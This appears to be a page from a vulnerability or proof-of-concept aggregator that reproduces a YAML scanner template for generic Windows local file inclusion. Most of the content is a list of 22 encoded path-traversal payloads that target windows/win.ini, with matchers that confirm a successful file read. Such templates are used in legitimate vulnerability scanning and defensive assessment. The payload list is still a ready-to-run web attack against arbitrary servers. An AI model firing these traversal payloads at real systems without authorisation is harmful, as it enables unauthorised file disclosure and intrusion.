generic-windows-lfi: Windows - Local File Inclusion

2025-08-01 generic-windows-lfi PoC Public

Description

Windows is vulnerable to local file inclusion because of searches for /windows/win.ini on passed URLs.

PoC

id: generic-windows-lfi

info:
  name: Windows - Local File Inclusion
  author: mesaglio,sushantkamble,ritikchaddha
  severity: high
  description: |
    Windows is vulnerable to local file inclusion because of searches for /windows/win.ini on passed URLs.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 22
  tags: azure,windows,lfi,generic,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - "/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cwindows/win.ini"
        - "/./../../../../../../../../../../windows/win.ini"
        - "/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini"
        - "/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./windows/win.ini"
        - "/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2ewindows/win.ini"
        - "/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win.ini"
        - "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini"
        - "/?redirect=..%2f..%2f..%2f..%2fwindows/win.ini"
        - "/?page=..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
        - "/?url=..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
        - "/..///////..////..//////windows/win.ini"
        - "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini"
        - "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini"
        - "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%00"
        - "/index.php?page=windows/win.ini"
        - "/index.php?page=windows/win.ini%00"
        - "/index.php?page=../../windows/win.ini"
        - "/index.php?page=....//....//windows/win.ini"
        - "/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini"
        - "/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/windows/win.ini"
        - "/../../../../../../../../../windows/win.ini"
        - "/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 4a0a00473045022064729254146130888cffa96f92b740ef96c9a1699d3cebe54e949698d846f581022100bb1936bf9ad769b512db311a584e5df7f0208b08628839fe70839102b9dba890:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities